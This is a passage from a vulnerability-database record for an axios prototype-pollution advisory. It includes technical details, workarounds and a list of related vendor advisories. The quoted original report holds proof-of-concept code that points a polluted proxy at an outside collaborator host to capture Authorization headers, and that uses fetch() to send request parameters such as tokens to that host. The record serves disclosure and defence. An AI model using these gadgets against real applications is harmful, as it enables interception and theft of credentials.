scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n\n  req.on('data', chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on('end', () =\u003e {\n    res.writeHead(200, {'content-type': 'application/json'});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n  return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e","status":"published","published":"2026-07-20T22:25:07Z","modified":"2026-09-10T03:50:52.753640421Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"RHSA-2026:49714","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-05T10:37:10Z","modified":"2026-10-20T10:10:16Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50826","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-06T10:14:09Z","modified":"2026-10-20T10:10:31Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"UBUNTU-CVE-2026-67316","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T13:17:00Z","modified":"2026-09-03T16:04:44.78344514Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:53.710209Z"},{"id":"CLSA-2026-1784856426","title":"TuxCare security update for axios (2 CVEs)","description":"TuxCare rebuilt axios to address 2 CVEs. Fixed in 1.7.9-tuxcare.2.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:54.778388062Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943218","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.7.7-tuxcare.5.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.225048632Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943302","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.7.5-tuxcare.4.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:35.871882772Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943417","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.6.8-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:35.76004771Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785117469","title":"TuxCare security update for axios (1 CVE)","description":"TuxCare rebuilt axios to address 1 CVE. Fixed in 1.6.2-tuxcare.3.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.376355552Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785468080","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-25T07:28:08.497556196Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787930147","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.6.2-tuxcare.5.","status":"published","published":"2026-08-28T15:15:47Z","modified":"2026-10-15T09:48:03.100688288Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1787930357","title":"TuxCare security update for axios (13 CVEs)","description":"TuxCare rebuilt axios to address 13 CVEs. Fixed in 0.27.2-tuxcare.5.","status":"published","published":"2026-08-28T15:19:17Z","modified":"2026-10-15T09:47:55.213069496Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788195644","title":"TuxCare security update for axios (5 CVEs)","description":"TuxCare rebuilt axios to address 5 CVEs. Fixed in 1.7.9-tuxcare.4.","status":"published","published":"2026-08-31T17:00:44Z","modified":"2026-10-15T09:47:55.261722305Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790115018","title":"TuxCare security update for axios (4 CVEs)","description":"TuxCare rebuilt axios to address 4 CVEs. Fixed in 0.26.1-tuxcare.5.","status":"published","published":"2026-09-22T22:10:18Z","modified":"2026-10-15T09:45:34.380726026Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790764333","title":"TuxCare security update for axios (28 CVEs)","description":"TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.","status":"published","published":"2026-09-30T10:32:13Z","modified":"2026-10-15T09:47:53.491657971Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790767846","title":"TuxCare security update for axios (10 CVEs)","description":"TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.0-tuxcare.1.","status":"published","published":"2026-09-30T11:30:46Z","modified":"2026-10-15T09:47:41.990250033Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792139363","title":"TuxCare security update for axios (9 CVEs)","description":"TuxCare rebuilt axios to address 9 CVEs. Fixed in 1.17.0-tuxcare.2.","status":"published","published":"2026-10-16T08:29:23Z","modified":"2026-10-16T12:15:02.196579621Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792476444","title":"TuxCare security update for axios (10 CVEs)","description":"TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.1-tuxcare.2.","status":"published","published":"2026-10-20T06:07:24Z","modified":"2026-10-20T07:15:16.144778941Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1793101806","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 0.18.0-tuxcare.2.","status":"published","published":"2026-10-27T11:50:06Z","modified":"2026-11-06T13:28:02.277131977Z","updated_at":"2026-11-06T13:44:09.891978Z"},{"id":"CLSA-2026-1793101832","title":"TuxCare security update for axios (11 CVEs)","description":"TuxCare rebuilt axios to address 11 CVEs. Fixed in 0.21.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:32Z","modified":"2026-11-06T13:28:02.439879551Z","updated_at":"2026-11-06T13:44:09.891978Z"},{"id":"CLSA-2026-1793101849","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:49Z","modified":"2026-10-27T13:30:17.542584318Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793110604","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.","status":"published","published":"2026-10-27T14:16:44Z","modified":"2026-10-27T19:30:03.618389185Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793874599","title":"TuxCare security update for axios (27 CVEs)","description":"TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.","status":"published","published":"2026-11-05T11:30:00Z","modified":"2026-11-05T13:15:17.383465117Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"ROOT-APP-NPM-CVE-2026-67316","title":"CVE-2026-67316 in axios - Patched by Root","description":"Root has patched CVE-2026-67316 in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-06T11:11:35Z","modified":"2026-10-06T12:15:03.129276072Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-mmx7-hfxf-jppx","title":"GHSA-mmx7-hfxf-jppx in axios - Patched by Root","description":"Root has patched GHSA-mmx7-hfxf-jppx in the axios package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-06T07:04:59Z","modified":"2026-11-06T08:15:04.492781616Z","updated_at":"2026-11-06T08:36:29.497632Z"}]}}